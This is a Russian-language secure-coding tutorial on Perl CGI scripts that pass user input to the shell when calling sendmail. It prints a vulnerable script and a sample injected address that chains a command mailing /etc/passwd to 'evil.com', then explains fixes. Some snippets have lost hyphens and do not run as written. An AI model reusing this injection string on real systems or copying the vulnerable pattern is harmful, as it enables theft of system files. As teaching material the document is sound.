![]() |
![]() |
|||
|
![]() |
![]() |
||
![]() |
||||
![]() |
Вызов внешних приложений с использованием командной оболочки.
#!/usr/bin/perl use CGI qw(:standard); $query = new CGI; $mailprog='| /usr/sbin/sendmail'; $address= $query >param('address'); $from='webmaster@somehost'; open (MAIL,"$mailprog $address"); print MAIL "From: $from\nSubject: Confirmation\n\n"; print MAIL "Your request was successfully received\n"; close MAIL;
Теперь предположим, что пользователь ввел следующий обратный адрес: hacker@evil.com;mail hacker@evil.com </etc/passwd;
в результате чего выполнится команда /usr/sbin/sendmail hacker@evil.com;mail hacker@evil.com </etc/passwd; - явно не то, что мы ожидали.
При использовании sendmail избавиться от ошибки очень легко - достаточно применить ключ "-t", запрещающий использовать адрес, переданный в командной строке, и передать его в заголовке письма:
... $mailprog='| /usr/sbin/sendmail t'; open (MAIL,"$mailprog "); print MAIL "To: $address\nFrom: $from\nSubject: Confirmation\n\n"; print MAIL "Your request was successfully received\n"; close MAIL;
Если же никак не удается избавиться от необходимости передачи пользовательского ввода оболочке, остается фильтровать в нем все специальные символы. Этих символов довольно много: <>|&;`'\"*$?~^()[]{}\n\r.
Кроме того, при вызове системных функций особо осторожно стоит работать с "нулевым" символом - \0. Дело в том, что для системных функций, написанных, как правило, на C, нулевой символ является признаком конца строки. Для Perl же нулевой символ вполне может оказаться частью строки. В итоге строка, которая проверяется perl-скриптом, и передается такой функции, может оказаться совсем не похожей на то, что получит функция.
Самое простое, что можно сделать, - удалить все спецсимволы из введенной строки с помощью конструкции примерно такого вида:
$metasymbols = "][<>\|&;`'\"*\$\?~\^(){}\n\r"; $string =~ s/[$metasymbols\\]//g;
Помимо этого постарайтесь гарантировать соответствие ввода предусмотренному шаблону. Скажем, для того же почтового адреса этим шаблоном может быть name@domain1.domain2, что чаще всего делается на Perl следующим образом:
die "Wrong address" if ($address !~ /^\w[\w\ .]*\@[\w\ .]+$/);
Здесь в начале и в конце строки ожидается один или несколько символов a z, A Z, 0 9, " ", "." и "@" внутри, причем " " или "." не могут быть первыми. Правда, это не слишком помогает против атак, подобных приведенной выше, достаточно завершить наш псевдоадрес чем нибудь типа ;@somewhere.ru.
Если же у вас нет желания фильтровать спецсимволы, можно использовать другой вариант вызова функций system и exec, позволяющий передать не один аргумент, а список аргументов. В этом случае Perl не передает список аргументов в оболочку, а рассматривает первый аргумент как подлежащую выполнению команду, и остальные аргументы - как параметры этой команды. Причем обычная для оболочки интерпретация спецсимволов не производится:
вместо system "grep $pattern $files"; использовать system "grep", "$pattern", "$files";.
Этим же свойством можно воспользоваться для безопасного перенаправленного ввода/вывода. При этом нам понадобится знание того факта, что при открытии с перенаправлением вывода команды " " мы неявно вызываем fork, создавая тем самым копию нашего процесса. В такой ситуации функция open возвращает 0 для дочернего процесса и pid дочернего процесса для родительского, что позволяет применять оператор or:
open (MAIL, "| ") or exec $mailprog, $address; #open в родительском процессе возвращает ненулевое значение, # и нет #необходимости выполнять правую сторону or. Дочерний же процесс #выполняет exec, после чего завершается. print MAIL "From: $from\nSubject: Confirmation\n\n"; print MAIL "Your request was successfully received\n"; close MAIL;
|
|